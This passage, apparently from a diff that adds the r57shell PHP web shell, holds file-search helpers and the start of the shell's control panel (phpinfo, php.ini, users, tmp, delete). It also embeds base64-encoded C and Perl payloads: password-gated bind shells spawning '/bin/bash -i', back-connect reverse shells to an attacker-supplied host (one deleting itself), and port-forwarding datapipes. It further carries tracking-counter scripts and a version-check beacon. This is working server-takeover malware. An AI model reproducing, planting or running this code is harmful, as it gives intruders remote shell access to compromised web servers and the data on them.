@fputs($w_file,@base64_decode($text)); + @fclose($w_file); + } +} +function sr($l,$t1,$t2) + { + return "<tr class=tr1><td class=td1 width=".$l."% align=right>".$t1."</td><td class=td1 align=left>".$t2."</td></tr>"; + } +if (!@function_exists("view_size")) +{ +function view_size($size) +{ + if($size >= 1073741824) {$size = @round($size / 1073741824 * 100) / 100 . " GB";} + elseif($size >= 1048576) {$size = @round($size / 1048576 * 100) / 100 . " MB";} + elseif($size >= 1024) {$size = @round($size / 1024 * 100) / 100 . " KB";} + else {$size = $size . " B";} + return $size; +} +} + function DirFilesR($dir,$types='') + { + $files = Array(); + if(($handle = @opendir($dir))) + { + while (false !== ($file = @readdir($handle))) + { + if ($file != "." && $file != "..") + { + if(@is_dir($dir."/".$file)) + $files = @array_merge($files,DirFilesR($dir."/".$file,$types)); + else + { + $pos = @strrpos($file,"."); + $ext = @substr($file,$pos,@strlen($file)-$pos); + if($types) + { + if(@in_array($ext,explode(';',$types))) + $files[] = $dir."/".$file; + } + else + $files[] = $dir."/".$file; + } + } + } + @closedir($handle); + } + return $files; + } + class SearchResult + { + var $text; + var $FilesToSearch; + var $ResultFiles; + var $FilesTotal; + var $MatchesCount; + var $FileMatschesCount; + var $TimeStart; + var $TimeTotal; + var $titles; + function SearchResult($dir,$text,$filter='') + { + $dirs = @explode(";",$dir); + $this->FilesToSearch = Array(); + for($a=0;$a<count($dirs);$a++) + $this->FilesToSearch = @array_merge($this->FilesToSearch,DirFilesR($dirs[$a],$filter)); + $this->text = $text; + $this->FilesTotal = @count($this->FilesToSearch); + $this->TimeStart = getmicrotime(); + $this->MatchesCount = 0; + $this->ResultFiles = Array(); + $this->FileMatchesCount = Array(); + $this->titles = Array(); + } + function GetFilesTotal() { return $this->FilesTotal; } + function GetTitles() { return $this->titles; } + function GetTimeTotal() { return $this->TimeTotal; } + function GetMatchesCount() { return $this->MatchesCount; } + function GetFileMatchesCount() { return $this->FileMatchesCount; } + function GetResultFiles() { return $this->ResultFiles; } + function SearchText($phrase=0,$case=0) { + $qq = @explode(' ',$this->text); + $delim = '|'; + if($phrase) + foreach($qq as $k=>$v) + $qq[$k] = '\b'.$v.'\b'; + $words = '('.@implode($delim,$qq).')'; + $pattern = "/".$words."/"; + if(!$case) + $pattern .= 'i'; + foreach($this->FilesToSearch as $k=>$filename) + { + $this->FileMatchesCount[$filename] = 0; + $FileStrings = @file($filename) or @next; + for($a=0;$a<@count($FileStrings);$a++) + { + $count = 0; + $CurString = $FileStrings[$a]; + $CurString = @Trim($CurString); + $CurString = @strip_tags($CurString); + $aa = ''; + if(($count = @preg_match_all($pattern,$CurString,$aa))) + { + $CurString = @preg_replace($pattern,"<SPAN style='color: #990000;'><b>\\1</b></SPAN>",$CurString); + $this->ResultFiles[$filename][$a+1] = $CurString; + $this->MatchesCount += $count; + $this->FileMatchesCount[$filename] += $count; + } + } + } + $this->TimeTotal = @round(getmicrotime() - $this->TimeStart,4); + } + } + function getmicrotime() + { + list($usec,$sec) = @explode(" ",@microtime()); + return ((float)$usec + (float)$sec); + } +$port_bind_bd_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3RyaW5nLmg+DQojaW5jbHVkZSA8c3lzL3R5cGVzLmg+DQojaW5jbHVkZS +A8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCiNpbmNsdWRlIDxlcnJuby5oPg0KaW50IG1haW4oYXJnYyxhcmd2KQ0KaW50I +GFyZ2M7DQpjaGFyICoqYXJndjsNCnsgIA0KIGludCBzb2NrZmQsIG5ld2ZkOw0KIGNoYXIgYnVmWzMwXTsNCiBzdHJ1Y3Qgc29ja2FkZHJfaW4gcmVt +b3RlOw0KIGlmKGZvcmsoKSA9PSAwKSB7IA0KIHJlbW90ZS5zaW5fZmFtaWx5ID0gQUZfSU5FVDsNCiByZW1vdGUuc2luX3BvcnQgPSBodG9ucyhhdG9 +pKGFyZ3ZbMV0pKTsNCiByZW1vdGUuc2luX2FkZHIuc19hZGRyID0gaHRvbmwoSU5BRERSX0FOWSk7IA0KIHNvY2tmZCA9IHNvY2tldChBRl9JTkVULF +NPQ0tfU1RSRUFNLDApOw0KIGlmKCFzb2NrZmQpIHBlcnJvcigic29ja2V0IGVycm9yIik7DQogYmluZChzb2NrZmQsIChzdHJ1Y3Qgc29ja2FkZHIgK +ikmcmVtb3RlLCAweDEwKTsNCiBsaXN0ZW4oc29ja2ZkLCA1KTsNCiB3aGlsZSgxKQ0KICB7DQogICBuZXdmZD1hY2NlcHQoc29ja2ZkLDAsMCk7DQog +ICBkdXAyKG5ld2ZkLDApOw0KICAgZHVwMihuZXdmZCwxKTsNCiAgIGR1cDIobmV3ZmQsMik7DQogICB3cml0ZShuZXdmZCwiUGFzc3dvcmQ6IiwxMCk +7DQogICByZWFkKG5ld2ZkLGJ1ZixzaXplb2YoYnVmKSk7DQogICBpZiAoIWNocGFzcyhhcmd2WzJdLGJ1ZikpDQogICBzeXN0ZW0oImVjaG8gd2VsY2 +9tZSB0byByNTcgc2hlbGwgJiYgL2Jpbi9iYXNoIC1pIik7DQogICBlbHNlDQogICBmcHJpbnRmKHN0ZGVyciwiU29ycnkiKTsNCiAgIGNsb3NlKG5ld +2ZkKTsNCiAgfQ0KIH0NCn0NCmludCBjaHBhc3MoY2hhciAqYmFzZSwgY2hhciAqZW50ZXJlZCkgew0KaW50IGk7DQpmb3IoaT0wO2k8c3RybGVuKGVu +dGVyZWQpO2krKykgDQp7DQppZihlbnRlcmVkW2ldID09ICdcbicpDQplbnRlcmVkW2ldID0gJ1wwJzsgDQppZihlbnRlcmVkW2ldID09ICdccicpDQp +lbnRlcmVkW2ldID0gJ1wwJzsNCn0NCmlmICghc3RyY21wKGJhc2UsZW50ZXJlZCkpDQpyZXR1cm4gMDsNCn0="; +$port_bind_bd_pl="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vYmFzaCAtaSI7DQppZiAoQEFSR1YgPCAxKSB7IGV4aXQoMSk7IH0NCiRMS +VNURU5fUE9SVD0kQVJHVlswXTsNCnVzZSBTb2NrZXQ7DQokcHJvdG9jb2w9Z2V0cHJvdG9ieW5hbWUoJ3RjcCcpOw0Kc29ja2V0KFMsJlBGX0lORVQs +JlNPQ0tfU1RSRUFNLCRwcm90b2NvbCkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVV +TRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJExJU1RFTl9QT1JULElOQUREUl9BTlkpKSB8fCBkaWUgIkNhbnQgb3BlbiBwb3J0XG4iOw0KbG +lzdGVuKFMsMykgfHwgZGllICJDYW50IGxpc3RlbiBwb3J0XG4iOw0Kd2hpbGUoMSkNCnsNCmFjY2VwdChDT05OLFMpOw0KaWYoISgkcGlkPWZvcmspK +Q0Kew0KZGllICJDYW5ub3QgZm9yayIgaWYgKCFkZWZpbmVkICRwaWQpOw0Kb3BlbiBTVERJTiwiPCZDT05OIjsNCm9wZW4gU1RET1VULCI+JkNPTk4i +Ow0Kb3BlbiBTVERFUlIsIj4mQ09OTiI7DQpleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCmNsb3N +lIENPTk47DQpleGl0IDA7DQp9DQp9"; +$back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj +aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR +hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT +sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI +kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi +KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl +OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw=="; +$back_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludC +BtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pDQp7DQogaW50IGZkOw0KIHN0cnVjdCBzb2NrYWRkcl9pbiBzaW47DQogY2hhciBybXNbMjFdPSJyb +SAtZiAiOyANCiBkYWVtb24oMSwwKTsNCiBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJd +KSk7DQogc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsgDQogYnplcm8oYXJndlsxXSxzdHJsZW4oYXJndlsxXSkrMStzdHJ +sZW4oYXJndlsyXSkpOyANCiBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsgDQogaWYgKChjb25uZWN0KGZkLC +Aoc3RydWN0IHNvY2thZGRyICopICZzaW4sIHNpemVvZihzdHJ1Y3Qgc29ja2FkZHIpKSk8MCkgew0KICAgcGVycm9yKCJbLV0gY29ubmVjdCgpIik7D +QogICBleGl0KDApOw0KIH0NCiBzdHJjYXQocm1zLCBhcmd2WzBdKTsNCiBzeXN0ZW0ocm1zKTsgIA0KIGR1cDIoZmQsIDApOw0KIGR1cDIoZmQsIDEp +Ow0KIGR1cDIoZmQsIDIpOw0KIGV4ZWNsKCIvYmluL3NoIiwic2ggLWkiLCBOVUxMKTsNCiBjbG9zZShmZCk7IA0KfQ=="; +$datapipe_c="I2luY2x1ZGUgPHN5cy90eXBlcy5oPg0KI2luY2x1ZGUgPHN5cy9zb2NrZXQuaD4NCiNpbmNsdWRlIDxzeXMvd2FpdC5oPg0KI2luY2 +x1ZGUgPG5ldGluZXQvaW4uaD4NCiNpbmNsdWRlIDxzdGRpby5oPg0KI2luY2x1ZGUgPHN0ZGxpYi5oPg0KI2luY2x1ZGUgPGVycm5vLmg+DQojaW5jb +HVkZSA8dW5pc3RkLmg+DQojaW5jbHVkZSA8bmV0ZGIuaD4NCiNpbmNsdWRlIDxsaW51eC90aW1lLmg+DQojaWZkZWYgU1RSRVJST1INCmV4dGVybiBj +aGFyICpzeXNfZXJybGlzdFtdOw0KZXh0ZXJuIGludCBzeXNfbmVycjsNCmNoYXIgKnVuZGVmID0gIlVuZGVmaW5lZCBlcnJvciI7DQpjaGFyICpzdHJ +lcnJvcihlcnJvcikgIA0KaW50IGVycm9yOyAgDQp7IA0KaWYgKGVycm9yID4gc3lzX25lcnIpDQpyZXR1cm4gdW5kZWY7DQpyZXR1cm4gc3lzX2Vycm +xpc3RbZXJyb3JdOw0KfQ0KI2VuZGlmDQoNCm1haW4oYXJnYywgYXJndikgIA0KICBpbnQgYXJnYzsgIA0KICBjaGFyICoqYXJndjsgIA0KeyANCiAga +W50IGxzb2NrLCBjc29jaywgb3NvY2s7DQogIEZJTEUgKmNmaWxlOw0KICBjaGFyIGJ1Zls0MDk2XTsNCiAgc3RydWN0IHNvY2thZGRyX2luIGxhZGRy +LCBjYWRkciwgb2FkZHI7DQogIGludCBjYWRkcmxlbiA9IHNpemVvZihjYWRkcik7DQogIGZkX3NldCBmZHNyLCBmZHNlOw0KICBzdHJ1Y3QgaG9zdGV +udCAqaDsNCiAgc3RydWN0IHNlcnZlbnQgKnM7DQogIGludCBuYnl0Ow0KICB1bnNpZ25lZCBsb25nIGE7DQogIHVuc2lnbmVkIHNob3J0IG9wb3J0Ow +0KDQogIGlmIChhcmdjICE9IDQpIHsNCiAgICBmcHJpbnRmKHN0ZGVyciwiVXNhZ2U6ICVzIGxvY2FscG9ydCByZW1vdGVwb3J0IHJlbW90ZWhvc3Rcb +iIsYXJndlswXSk7DQogICAgcmV0dXJuIDMwOw0KICB9DQogIGEgPSBpbmV0X2FkZHIoYXJndlszXSk7DQogIGlmICghKGggPSBnZXRob3N0YnluYW1l +KGFyZ3ZbM10pKSAmJg0KICAgICAgIShoID0gZ2V0aG9zdGJ5YWRkcigmYSwgNCwgQUZfSU5FVCkpKSB7DQogICAgcGVycm9yKGFyZ3ZbM10pOw0KICA +gIHJldHVybiAyNTsNCiAgfQ0KICBvcG9ydCA9IGF0b2woYXJndlsyXSk7DQogIGxhZGRyLnNpbl9wb3J0ID0gaHRvbnMoKHVuc2lnbmVkIHNob3J0KS +hhdG9sKGFyZ3ZbMV0pKSk7DQogIGlmICgobHNvY2sgPSBzb2NrZXQoUEZfSU5FVCwgU09DS19TVFJFQU0sIElQUFJPVE9fVENQKSkgPT0gLTEpIHsNC +iAgICBwZXJyb3IoInNvY2tldCIpOw0KICAgIHJldHVybiAyMDsNCiAgfQ0KICBsYWRkci5zaW5fZmFtaWx5ID0gaHRvbnMoQUZfSU5FVCk7DQogIGxh +ZGRyLnNpbl9hZGRyLnNfYWRkciA9IGh0b25sKDApOw0KICBpZiAoYmluZChsc29jaywgJmxhZGRyLCBzaXplb2YobGFkZHIpKSkgew0KICAgIHBlcnJ +vcigiYmluZCIpOw0KICAgIHJldHVybiAyMDsNCiAgfQ0KICBpZiAobGlzdGVuKGxzb2NrLCAxKSkgew0KICAgIHBlcnJvcigibGlzdGVuIik7DQogIC +AgcmV0dXJuIDIwOw0KICB9DQogIGlmICgobmJ5dCA9IGZvcmsoKSkgPT0gLTEpIHsNCiAgICBwZXJyb3IoImZvcmsiKTsNCiAgICByZXR1cm4gMjA7D +QogIH0NCiAgaWYgKG5ieXQgPiAwKQ0KICAgIHJldHVybiAwOw0KICBzZXRzaWQoKTsNCiAgd2hpbGUgKChjc29jayA9IGFjY2VwdChsc29jaywgJmNh +ZGRyLCAmY2FkZHJsZW4pKSAhPSAtMSkgew0KICAgIGNmaWxlID0gZmRvcGVuKGNzb2NrLCJyKyIpOw0KICAgIGlmICgobmJ5dCA9IGZvcmsoKSkgPT0 +gLTEpIHsNCiAgICAgIGZwcmludGYoY2ZpbGUsICI1MDAgZm9yazogJXNcbiIsIHN0cmVycm9yKGVycm5vKSk7DQogICAgICBzaHV0ZG93bihjc29jay +wyKTsNCiAgICAgIGZjbG9zZShjZmlsZSk7DQogICAgICBjb250aW51ZTsNCiAgICB9DQogICAgaWYgKG5ieXQgPT0gMCkNCiAgICAgIGdvdG8gZ290c +29jazsNCiAgICBmY2xvc2UoY2ZpbGUpOw0KICAgIHdoaWxlICh3YWl0cGlkKC0xLCBOVUxMLCBXTk9IQU5HKSA+IDApOw0KICB9DQogIHJldHVybiAy +MDsNCg0KIGdvdHNvY2s6DQogIGlmICgob3NvY2sgPSBzb2NrZXQoUEZfSU5FVCwgU09DS19TVFJFQU0sIElQUFJPVE9fVENQKSkgPT0gLTEpIHsNCiA +gICBmcHJpbnRmKGNmaWxlLCAiNTAwIHNvY2tldDogJXNcbiIsIHN0cmVycm9yKGVycm5vKSk7DQogICAgZ290byBxdWl0MTsNCiAgfQ0KICBvYWRkci +5zaW5fZmFtaWx5ID0gaC0+aF9hZGRydHlwZTsNCiAgb2FkZHIuc2luX3BvcnQgPSBodG9ucyhvcG9ydCk7DQogIG1lbWNweSgmb2FkZHIuc2luX2FkZ +HIsIGgtPmhfYWRkciwgaC0+aF9sZW5ndGgpOw0KICBpZiAoY29ubmVjdChvc29jaywgJm9hZGRyLCBzaXplb2Yob2FkZHIpKSkgew0KICAgIGZwcmlu +dGYoY2ZpbGUsICI1MDAgY29ubmVjdDogJXNcbiIsIHN0cmVycm9yKGVycm5vKSk7DQogICAgZ290byBxdWl0MTsNCiAgfQ0KICB3aGlsZSAoMSkgew0 +KICAgIEZEX1pFUk8oJmZkc3IpOw0KICAgIEZEX1pFUk8oJmZkc2UpOw0KICAgIEZEX1NFVChjc29jaywmZmRzcik7DQogICAgRkRfU0VUKGNzb2NrLC +ZmZHNlKTsNCiAgICBGRF9TRVQob3NvY2ssJmZkc3IpOw0KICAgIEZEX1NFVChvc29jaywmZmRzZSk7DQogICAgaWYgKHNlbGVjdCgyMCwgJmZkc3IsI +E5VTEwsICZmZHNlLCBOVUxMKSA9PSAtMSkgew0KICAgICAgZnByaW50ZihjZmlsZSwgIjUwMCBzZWxlY3Q6ICVzXG4iLCBzdHJlcnJvcihlcnJubykp +Ow0KICAgICAgZ290byBxdWl0MjsNCiAgICB9DQogICAgaWYgKEZEX0lTU0VUKGNzb2NrLCZmZHNyKSB8fCBGRF9JU1NFVChjc29jaywmZmRzZSkpIHs +NCiAgICAgIGlmICgobmJ5dCA9IHJlYWQoY3NvY2ssYnVmLDQwOTYpKSA8PSAwKQ0KCWdvdG8gcXVpdDI7DQogICAgICBpZiAoKHdyaXRlKG9zb2NrLG +J1ZixuYnl0KSkgPD0gMCkNCglnb3RvIHF1aXQyOw0KICAgIH0gZWxzZSBpZiAoRkRfSVNTRVQob3NvY2ssJmZkc3IpIHx8IEZEX0lTU0VUKG9zb2NrL +CZmZHNlKSkgew0KICAgICAgaWYgKChuYnl0ID0gcmVhZChvc29jayxidWYsNDA5NikpIDw9IDApDQoJZ290byBxdWl0MjsNCiAgICAgIGlmICgod3Jp +dGUoY3NvY2ssYnVmLG5ieXQpKSA8PSAwKQ0KCWdvdG8gcXVpdDI7DQogICAgfQ0KICB9DQoNCiBxdWl0MjoNCiAgc2h1dGRvd24ob3NvY2ssMik7DQo +gIGNsb3NlKG9zb2NrKTsNCiBxdWl0MToNCiAgZmZsdXNoKGNmaWxlKTsNCiAgc2h1dGRvd24oY3NvY2ssMik7DQogcXVpdDA6DQogIGZjbG9zZShjZm +lsZSk7DQogIHJldHVybiAwOw0KfQ=="; +$datapipe_pl="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgSU86OlNvY2tldDsNCnVzZSBQT1NJWDsNCiRsb2NhbHBvcnQgPSAkQVJHVlswXTsNCiRob3N0I +CAgICAgPSAkQVJHVlsxXTsNCiRwb3J0ICAgICAgPSAkQVJHVlsyXTsNCiRkYWVtb249MTsNCiRESVIgPSB1bmRlZjsNCiR8ID0gMTsNCmlmICgkZGFl +bW9uKXsgJHBpZCA9IGZvcms7IGV4aXQgaWYgJHBpZDsgZGllICIkISIgdW5sZXNzIGRlZmluZWQoJHBpZCk7IFBPU0lYOjpzZXRzaWQoKSBvciBkaWU +gIiQhIjsgfQ0KJW8gPSAoJ3BvcnQnID0+ICRsb2NhbHBvcnQsJ3RvcG9ydCcgPT4gJHBvcnQsJ3RvaG9zdCcgPT4gJGhvc3QpOw0KJGFoID0gSU86Ol +NvY2tldDo6SU5FVC0+bmV3KCdMb2NhbFBvcnQnID0+ICRsb2NhbHBvcnQsJ1JldXNlJyA9PiAxLCdMaXN0ZW4nID0+IDEwKSB8fCBkaWUgIiQhIjsNC +iRTSUd7J0NITEQnfSA9ICdJR05PUkUnOw0KJG51bSA9IDA7DQp3aGlsZSAoMSkgeyANCiRjaCA9ICRhaC0+YWNjZXB0KCk7IGlmICghJGNoKSB7IHBy +aW50IFNUREVSUiAiJCFcbiI7IG5leHQ7IH0NCisrJG51bTsNCiRwaWQgPSBmb3JrKCk7DQppZiAoIWRlZmluZWQoJHBpZCkpIHsgcHJpbnQgU1RERVJ +SICIkIVxuIjsgfSANCmVsc2lmICgkcGlkID09IDApIHsgJGFoLT5jbG9zZSgpOyBSdW4oXCVvLCAkY2gsICRudW0pOyB9IA0KZWxzZSB7ICRjaC0+Y2 +xvc2UoKTsgfQ0KfQ0Kc3ViIFJ1biB7DQpteSgkbywgJGNoLCAkbnVtKSA9IEBfOw0KbXkgJHRoID0gSU86OlNvY2tldDo6SU5FVC0+bmV3KCdQZWVyQ +WRkcicgPT4gJG8tPnsndG9ob3N0J30sJ1BlZXJQb3J0JyA9PiAkby0+eyd0b3BvcnQnfSk7DQppZiAoISR0aCkgeyBleGl0IDA7IH0NCm15ICRmaDsN +CmlmICgkby0+eydkaXInfSkgeyAkZmggPSBTeW1ib2w6OmdlbnN5bSgpOyBvcGVuKCRmaCwgIj4kby0+eydkaXInfS90dW5uZWwkbnVtLmxvZyIpIG9 +yIGRpZSAiJCEiOyB9DQokY2gtPmF1dG9mbHVzaCgpOw0KJHRoLT5hdXRvZmx1c2goKTsNCndoaWxlICgkY2ggfHwgJHRoKSB7DQpteSAkcmluID0gIi +I7DQp2ZWMoJHJpbiwgZmlsZW5vKCRjaCksIDEpID0gMSBpZiAkY2g7DQp2ZWMoJHJpbiwgZmlsZW5vKCR0aCksIDEpID0gMSBpZiAkdGg7DQpteSgkc +m91dCwgJGVvdXQpOw0Kc2VsZWN0KCRyb3V0ID0gJHJpbiwgdW5kZWYsICRlb3V0ID0gJHJpbiwgMTIwKTsNCmlmICghJHJvdXQgICYmICAhJGVvdXQp +IHt9DQpteSAkY2J1ZmZlciA9ICIiOw0KbXkgJHRidWZmZXIgPSAiIjsNCmlmICgkY2ggJiYgKHZlYygkZW91dCwgZmlsZW5vKCRjaCksIDEpIHx8IHZ +lYygkcm91dCwgZmlsZW5vKCRjaCksIDEpKSkgew0KbXkgJHJlc3VsdCA9IHN5c3JlYWQoJGNoLCAkdGJ1ZmZlciwgMTAyNCk7DQppZiAoIWRlZmluZW +QoJHJlc3VsdCkpIHsNCnByaW50IFNUREVSUiAiJCFcbiI7DQpleGl0IDA7DQp9DQppZiAoJHJlc3VsdCA9PSAwKSB7IGV4aXQgMDsgfQ0KfQ0KaWYgK +CR0aCAgJiYgICh2ZWMoJGVvdXQsIGZpbGVubygkdGgpLCAxKSAgfHwgdmVjKCRyb3V0LCBmaWxlbm8oJHRoKSwgMSkpKSB7DQpteSAkcmVzdWx0ID0g +c3lzcmVhZCgkdGgsICRjYnVmZmVyLCAxMDI0KTsNCmlmICghZGVmaW5lZCgkcmVzdWx0KSkgeyBwcmludCBTVERFUlIgIiQhXG4iOyBleGl0IDA7IH0 +NCmlmICgkcmVzdWx0ID09IDApIHtleGl0IDA7fQ0KfQ0KaWYgKCRmaCAgJiYgICR0YnVmZmVyKSB7KHByaW50ICRmaCAkdGJ1ZmZlcik7fQ0Kd2hpbG +UgKG15ICRsZW4gPSBsZW5ndGgoJHRidWZmZXIpKSB7DQpteSAkcmVzID0gc3lzd3JpdGUoJHRoLCAkdGJ1ZmZlciwgJGxlbik7DQppZiAoJHJlcyA+I +DApIHskdGJ1ZmZlciA9IHN1YnN0cigkdGJ1ZmZlciwgJHJlcyk7fSANCmVsc2Uge3ByaW50IFNUREVSUiAiJCFcbiI7fQ0KfQ0Kd2hpbGUgKG15ICRs +ZW4gPSBsZW5ndGgoJGNidWZmZXIpKSB7DQpteSAkcmVzID0gc3lzd3JpdGUoJGNoLCAkY2J1ZmZlciwgJGxlbik7DQppZiAoJHJlcyA+IDApIHskY2J +1ZmZlciA9IHN1YnN0cigkY2J1ZmZlciwgJHJlcyk7fSANCmVsc2Uge3ByaW50IFNUREVSUiAiJCFcbiI7fQ0KfX19DQo="; +$c1 = "PHNjcmlwdCBsYW5ndWFnZT0iamF2YXNjcmlwdCI+aG90bG9nX2pzPSIxLjAiO2hvdGxvZ19yPSIiK01hdGgucmFuZG9tKCkrIiZzPTgxNjA2 +JmltPTEmcj0iK2VzY2FwZShkb2N1bWVudC5yZWZlcnJlcikrIiZwZz0iK2VzY2FwZSh3aW5kb3cubG9jYXRpb24uaHJlZik7ZG9jdW1lbnQuY29va2l +lPSJob3Rsb2c9MTsgcGF0aD0vIjsgaG90bG9nX3IrPSImYz0iKyhkb2N1bWVudC5jb29raWU/IlkiOiJOIik7PC9zY3JpcHQ+PHNjcmlwdCBsYW5ndW +FnZT0iamF2YXNjcmlwdDEuMSI+aG90bG9nX2pzPSIxLjEiO2hvdGxvZ19yKz0iJmo9IisobmF2aWdhdG9yLmphdmFFbmFibGVkKCk/IlkiOiJOIik8L +3NjcmlwdD48c2NyaXB0IGxhbmd1YWdlPSJqYXZhc2NyaXB0MS4yIj5ob3Rsb2dfanM9IjEuMiI7aG90bG9nX3IrPSImd2g9IitzY3JlZW4ud2lkdGgr +J3gnK3NjcmVlbi5oZWlnaHQrIiZweD0iKygoKG5hdmlnYXRvci5hcHBOYW1lLnN1YnN0cmluZygwLDMpPT0iTWljIikpP3NjcmVlbi5jb2xvckRlcHR +oOnNjcmVlbi5waXhlbERlcHRoKTwvc2NyaXB0PjxzY3JpcHQgbGFuZ3VhZ2U9ImphdmFzY3JpcHQxLjMiPmhvdGxvZ19qcz0iMS4zIjwvc2NyaXB0Pj +xzY3JpcHQgbGFuZ3VhZ2U9ImphdmFzY3JpcHQiPmhvdGxvZ19yKz0iJmpzPSIraG90bG9nX2pzO2RvY3VtZW50LndyaXRlKCI8YSBocmVmPSdodHRwO +i8vY2xpY2suaG90bG9nLnJ1Lz84MTYwNicgdGFyZ2V0PSdfdG9wJz48aW1nICIrIiBzcmM9J2h0dHA6Ly9oaXQ0LmhvdGxvZy5ydS9jZ2ktYmluL2hv +dGxvZy9jb3VudD8iK2hvdGxvZ19yKyImJyBib3JkZXI9MCB3aWR0aD0xIGhlaWdodD0xIGFsdD0xPjwvYT4iKTwvc2NyaXB0Pjxub3NjcmlwdD48YSB +ocmVmPWh0dHA6Ly9jbGljay5ob3Rsb2cucnUvPzgxNjA2IHRhcmdldD1fdG9wPjxpbWdzcmM9Imh0dHA6Ly9oaXQ0LmhvdGxvZy5ydS9jZ2ktYmluL2 +hvdGxvZy9jb3VudD9zPTgxNjA2JmltPTEiIGJvcmRlcj0wd2lkdGg9IjEiIGhlaWdodD0iMSIgYWx0PSJIb3RMb2ciPjwvYT48L25vc2NyaXB0Pg=="; +$c2 = "PCEtLUxpdmVJbnRlcm5ldCBjb3VudGVyLS0+PHNjcmlwdCBsYW5ndWFnZT0iSmF2YVNjcmlwdCI+PCEtLQ0KZG9jdW1lbnQud3JpdGUoJzxh +IGhyZWY9Imh0dHA6Ly93d3cubGl2ZWludGVybmV0LnJ1L2NsaWNrIiAnKw0KJ3RhcmdldD1fYmxhbms+PGltZyBzcmM9Imh0dHA6Ly9jb3VudGVyLnl +hZHJvLnJ1L2hpdD90NTIuNjtyJysNCmVzY2FwZShkb2N1bWVudC5yZWZlcnJlcikrKCh0eXBlb2Yoc2NyZWVuKT09J3VuZGVmaW5lZCcpPycnOg0KJz +tzJytzY3JlZW4ud2lkdGgrJyonK3NjcmVlbi5oZWlnaHQrJyonKyhzY3JlZW4uY29sb3JEZXB0aD8NCnNjcmVlbi5jb2xvckRlcHRoOnNjcmVlbi5wa +XhlbERlcHRoKSkrJzsnK01hdGgucmFuZG9tKCkrDQonIiBhbHQ9ImxpdmVpbnRlcm5ldC5ydTog7+7q4Ofg7e4g9+jx6+4g7/Du8ezu8vDu4iDoIO/u +8eXy6PLl6+XpIOfgIDI0IPfg8eAiICcrDQonYm9yZGVyPTAgd2lkdGg9MCBoZWlnaHQ9MD48L2E+JykvLy0tPjwvc2NyaXB0PjwhLS0vTGl2ZUludGV +ybmV0LS0+"; +echo $head; +echo '</head>'; +if(empty($_POST['cmd'])) { +$serv = array(127,192,172,10); +$addr=@explode('.', $_SERVER['SERVER_ADDR']); +$current_version = str_replace('.','',$version); +if (!in_array($addr[0], $serv)) { +@print "<img src=\"http://127.0.0.1/r57shell/version.php?img=1&version=".$current_version."\" border=0 height=0 width=0>"; +@readfile ("http://127.0.0.1/r57shell/version.php?version=".$current_version."");}} +echo '<body bgcolor="#e4e0d8"><table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000> +<tr><td bgcolor=#cccccc width=160><font face=Verdana size=2>'.ws(1).'&nbsp; +<font face=Webdings size=6><b>!</b></font><b>'.ws(2).'r57shell '.$version.'</b> +</font></td><td bgcolor=#cccccc><font face=Verdana size=-2>'; +echo ws(2); +echo "<b>".date ("d-m-Y H:i:s")."</b>"; +echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?phpinfo title=\"".$lang[$language.'_text46']."\"><b>phpinfo</b></a> ".$rb; +echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?phpini title=\"".$lang[$language.'_text47']."\"><b>php.ini</b></a> ".$rb; +echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?cpu title=\"".$lang[$language.'_text50']."\"><b>cpu</b></a> ".$rb; +echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?mem title=\"".$lang[$language.'_text51']."\"><b>mem</b></a> ".$rb; +if($unix) { echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?users title=\"".$lang[$language.'_text95']."\"><b>users</b></a> ".$rb; } +echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?tmp title=\"".$lang[$language.'_text48']."\"><b>tmp</b></a> ".$rb; +echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?delete title=\"".$lang[$language.'_text49']."\"><b>delete</b></a> ".$rb."<br>"; +echo ws(2); 